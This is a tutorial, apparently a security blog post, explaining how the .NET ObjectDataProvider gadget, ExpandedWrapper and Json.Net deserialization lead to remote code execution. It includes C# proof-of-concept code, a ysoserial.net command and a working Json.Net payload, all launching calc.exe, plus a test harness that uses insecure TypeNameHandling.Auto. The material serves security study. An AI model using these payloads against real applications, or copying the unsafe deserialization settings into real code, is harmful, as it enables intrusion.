Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

This post is dedicated to understand how the gadget ObjectDataProvider is exploited to obtain RCE and how the Serialization libraries Json.Net and xmlSerializer can be abused with that gadget.

ObjectDataProvider Gadget

From the documentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Yeah, it’s a weird explanation, so lets see what does this class have that is so interesting: This class allows to wrap an arbitrary object, use MethodParameters to set arbitrary parameters, and then use MethodName to call an arbitrary function of the arbitrary object declared using the arbitrary parameters.
Therefore, the arbitrary object will execute a function with parameters while being deserialized.

How is this possible

The ObjectDataProvider is defined and implemented in the System.Windows.Data namespace, which is located in the PresentationFramework.dll (C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF).

Using dnSpy you can inspect the code of the class we are interested in. In the image below we are seeing the code of PresentationFramework.dll –> System.Windows.Data –> ObjectDataProvider –> Method name

As you can observe when MethodName is set base.Refresh() is called, lets take a look to what does it do:

Ok, lets continue seeing what does this.BeginQuery() does. BeginQuery is overridden by ObjectDataProvider and this is what it does:

Note that at the end of the code it’s calling this.QueryWorke(null). Let’s see what does that execute:

Note that this isn’t the complete code of the function QueryWorker but it shows the interesting part of it: The code calls this.InvokeMethodOnInstance(out ex); this is the line where the method set is invoked.

If you want to check that just setting the MethodName it will be executed, you can run this code:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
    class Program
    {
        static void Main(string[] args)
        {
            ObjectDataProvider myODP = new ObjectDataProvider();
            myODP.ObjectType = typeof(Process);
            myODP.MethodParameters.Add("cmd.exe");
            myODP.MethodParameters.Add("/c calc.exe");
            myODP.MethodName = "Start";
        }
    }
}

Note that you need to add as reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll ****in order to load System.Windows.Data

ExpandedWrapper

Using the previous exploit there will be cases where the object is going to be deserialized as an ObjectDataProvider instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using GetType). Then, will have no knowledge of the object type that is wrapped in the ObjectDataProvider instance (Process for example). You can find more information about the DotNetNuke vuln here.

This class allows to specify the object types of the objects that are encapsulated in a given instance. So, this class can be used to encapsulate a source object (ObjectDataProvider) into a new object type and provide the properties we need (ObjectDataProvider.MethodName and ObjectDataProvider.MethodParameters).
This is very useful for cases as the one presented before, because we will be able to wrap ObjectDataProvider inside an ExpandedWrapper instance and when deserialized this class will create the OjectDataProvider object that will execute the function indicated in MethodName.

You can check this wrapper with the following code:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
    class Program
    {
        static void Main(string[] args)
        {
            ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
            myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
            myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
            myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
            myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
            myExpWrap.ProjectedProperty0.MethodName = "Start";
        }
    }
}

Json.Net

In the official web page it is indicated that this library allows to Serialize and deserialize any .NET object with Json.NET’s powerful JSON serializer. So, if we could deserialize the ObjectDataProvider gadget, we could cause a RCE just deserializing an object.

Json.Net example

First of all lets see an example on how to serialize/deserialize an object using this library:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
    public class Account
    {
        public string Email { get; set; }
        public bool Active { get; set; }
        public DateTime CreatedDate { get; set; }
        public IList<string> Roles { get; set; }
    }
    class Program
    {
        static void Main(string[] args)
        {
            Account account = new Account
            {
                Email = "[email protected]",
                Active = true,
                CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
                Roles = new List<string>
                {
                    "User",
                    "Admin"
                }
            };
            //Serialize the object and print it
            string json = JsonConvert.SerializeObject(account);
            Console.WriteLine(json);
            //{"Email":"[email protected]","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
            
            //Deserialize it
            Account desaccount = JsonConvert.DeserializeObject<Account>(json);
            Console.WriteLine(desaccount.Email);
        }
    }
}

Abusing Json.Net

Using ysoserial.net I crated the exploit:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd', '/c calc.exe']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

In this code you can test the exploit, just run it and you will see that a calc is executed:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
    class Program
    {
        static void Main(string[] args)
        {
            //Declare exploit
            string userdata = @"{
                '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
                'MethodName':'Start',
                'MethodParameters':{
                            '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
                    '$values':['cmd', '/c calc.exe']
                },
                'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
            }";
            //Exploit to base64
            string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

            //Get data from base64
            byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
            //Deserialize data
            string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
            object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
            {
                TypeNameHandling = TypeNameHandling.Auto
            });
        }
    }
}